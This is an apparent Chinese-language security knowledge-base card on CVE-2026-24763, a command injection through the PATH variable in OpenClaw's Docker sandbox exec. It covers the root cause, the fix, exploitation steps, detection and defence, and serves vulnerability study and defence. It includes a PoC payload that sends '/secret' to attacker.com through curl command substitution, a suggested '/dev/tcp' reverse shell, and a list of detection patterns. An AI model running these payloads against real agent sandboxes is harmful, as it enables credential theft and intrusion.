♧ Godown 安全知识树

OpenClaw Docker exec PATH 环境变量命令注入:CVE-2026-24763 认证用户注入容器命令

ai-security/agent-security · verified

一句话结论

OpenClaw(原名 Clawdbot)< 2026.1.29 的 Docker 沙箱执行在 src/agents/bash-tools.shared.ts 的 buildDockerExecArgs() 中把用户可控的 params.env.PATH 直接插值进 export PATH="${PATH}:$PATH";,再与 params.command 拼接后交给容器内 sh -lc;PATH 中的 $(...)/反引号会在 shell 解析阶段被命令替换,已认证且能控制环境变量的用户即使不直接控制命令参数,也能在容器内执行任意命令。修复改为用 -e CLAWDBOT_PREPEND_PATH=... 传值,由登录 shell 配置安全拼接。

原理

  • 命令构造:buildDockerExecArgs() 先为每个 params.env 项添加 -e key=value,然后: ts const pathExport = params.env.PATH ? `export PATH="${params.env.PATH}:$PATH"; ` : ""; args.push(params.containerName, "sh", "-lc", `${pathExport}${params.command}`); params.env.PATH 来自 exec 工具调用方,未经 shell 转义就进入最终命令字符串。
  • shell 解析:容器内执行的是 sh -lc '<pathExport><command>'。sh -lc 会完整解析整个字符串;在双引号内,$() 与反引号仍会触发命令替换,因此 PATH 写成 $(curl attacker.com?leak=$(cat /secret)) 时,docker exec 启动的 shell 会先执行其中的 curl/cat,再执行 export 和原命令。
  • 引号闭合:如果 PATH 中包含双引号,还可以提前闭合 export PATH="..." 的引号,再用 ;、&&、| 等拼接额外命令;即使没有双引号,$()/反引号也足以执行任意命令。
  • 攻击面:exec 工具允许调用方指定 host=sandbox 与自定义 env;PATH 通常被视为“数据/环境配置”,但这里被拼进了 shell 代码上下文,导致环境变量注入升级为命令注入。即使上层对 command 做白名单/模板限制,攻击者仍可只通过 env.PATH 执行额外命令。
  • 影响范围:命令在 Docker 沙箱容器内以容器用户执行;若容器挂载了宿主目录、持有第三方凭据/API key、可访问内网或云元数据,攻击者可进一步读取敏感数据、横向移动或逃逸到宿主(取决于容器配置)。
  • 修复原理:不再把 PATH 拼入 shell 命令字符串,而是: ts if (params.env.PATH) { args.push("-e", `CLAWDBOT_PREPEND_PATH=${params.env.PATH}`); } args.push(params.containerName, "sh", "-lc", params.command); 容器登录 shell 的配置脚本在启动时执行: sh if [ -n "$CLAWDBOT_PREPEND_PATH" ]; then export PATH="$CLAWDBOT_PREPEND_PATH:$PATH" fi Docker -e 设置的环境变量值不会被 shell 二次解析;即使其中含有 $(),也只是普通字符串,从而阻断命令替换。

触发条件

  • OpenClaw < 2026.1.29(CVE-2026-24763 影响区间),使用 Docker 沙箱执行模式。
  • 攻击者持有有效账号/凭据,能调用 exec 工具并设置 env(尤其是 PATH)。
  • 目标容器使用 sh -lc 作为执行入口,且未对 env 值做额外转义/白名单。
  • 容器内可访问敏感数据或网络(决定危害大小)。

利用步骤

  1. 登录 OpenClaw,确认 exec 工具可用且目标为 host=sandbox。
  2. 调用 exec 工具,command 设为一个无害命令(如 ls),env.PATH 填入带命令替换的 payload: json {"command": "ls", "env": {"PATH": "$(curl attacker.com?leak=$(cat /secret))"}}
  3. 后端 buildDockerExecArgs() 生成: sh sh -lc 'export PATH="$(curl attacker.com?leak=$(cat /secret)):$PATH"; ls'
  4. 容器内 shell 在解析 export 前执行 $(...),把 /secret 外带到攻击者服务器,或替换为 $(id)/$(sh -c ...) 等命令。
  5. 从 exec 结果、外带日志或反向连接获取命令输出;按需读取容器内凭据、挂载目录与内网服务。
  6. 若需反弹 shell,可在 $() 中执行 bash -i >& /dev/tcp/... 或 curl 下载脚本。

PoC

{
  "command": "ls",
  "env": {
    "PATH": "$(curl attacker.com?leak=$(cat /secret))"
  }
}
# 后端最终交给容器内 sh -lc 的字符串(示意)
sh -lc 'export PATH="$(curl attacker.com?leak=$(cat /secret)):$PATH"; ls'

# 仅验证命令替换执行
# PATH="$(id > /tmp/pwned)"  → 容器内 /tmp/pwned 出现 id 输出

说明:以上为按原文流程整理的结构化 PoC,未在本机执行;实际 exec 工具的参数封装/接口字段需按目标版本调整。文中 ;(分号) 仅在能闭合双引号时才作为命令分隔符生效,$()/反引号在双引号内即可触发命令替换。

变体与关联

  • 注入位置变体:params.env 中其它被拼进 shell 字符串的变量、workdir 参数、容器名/命令模板;凡是“用户值 + shell 字符串拼接”都可能同类。
  • 载荷变体:$(...)、反引号、双引号闭合后 ;/&&/|、换行;外带可用 curl/wget、DNS、反弹 shell。
  • 修复绕过/回归:确认修复版本确实用 -e 传值且登录 shell 配置只做 export PATH="$VAR:$PATH";若其它路径仍把 env 拼进命令,仍有注入。
  • 关联卡片:[[ai-security-agent-security-openclaw-node-invoke-approval-field-injection-rce]](OpenClaw 另一条认证后 RCE:审批字段伪造)、[[ai-security-agent-security-openclaw-control-ui-gatewayurl-token-leak-rce]](OpenClaw 控制面 token 泄露/RCE)、[[ai-security-agent-security-openclaw-webfetch-multistage-prompt-injection-rce]](OpenClaw 工具链提示注入 RCE)。
  • 边界:若 exec 工具不允许用户设置 env、或后端在拼接前做严格 shell 转义/白名单,则本链不成立;容器隔离强度决定最终影响(数据读取/横向/逃逸)。

检测与防御

  • 升级:升级到 OpenClaw 2026.1.29+(CVE-2026-24763 修复版本)。
  • 代码层修复:不要把任何用户可控值插值进 sh -c/sh -lc 的命令字符串;环境变量通过 -e/进程 env 传递,需要前置 PATH 时用容器内固定 profile 脚本读取专用变量并安全拼接。
  • 输入校验:对 env 的 key/value 做白名单与字符限制;禁止 PATH 等关键变量由低信任用户覆盖;对 workdir、容器名、命令模板同样做转义。
  • 隔离与最小权限:沙箱容器以非 root 运行,禁用宿主挂载/特权模式,限制出网与云元数据访问;exec 工具按角色限制可用命令与 env。
  • 检测信号:exec 请求的 env.PATH 中出现 $(、反引号、双引号、;、&&、|、curl/wget//dev/tcp;容器内出现异常子进程、外连或 /tmp 落地文件;OpenClaw 日志中 export PATH="... 与用户输入同时出现。
  • 响应:升级版本,审计 exec 调用与容器进程,轮换容器内可访问的凭据/API key,检查宿主挂载是否被读取。